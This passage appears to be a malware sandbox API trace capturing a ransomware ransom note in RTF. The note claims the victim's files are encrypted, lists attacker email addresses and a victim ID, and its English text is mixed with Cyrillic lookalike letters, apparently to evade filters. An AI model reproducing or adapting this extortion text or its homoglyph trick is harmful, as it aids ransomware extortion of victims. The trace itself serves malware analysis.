writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED 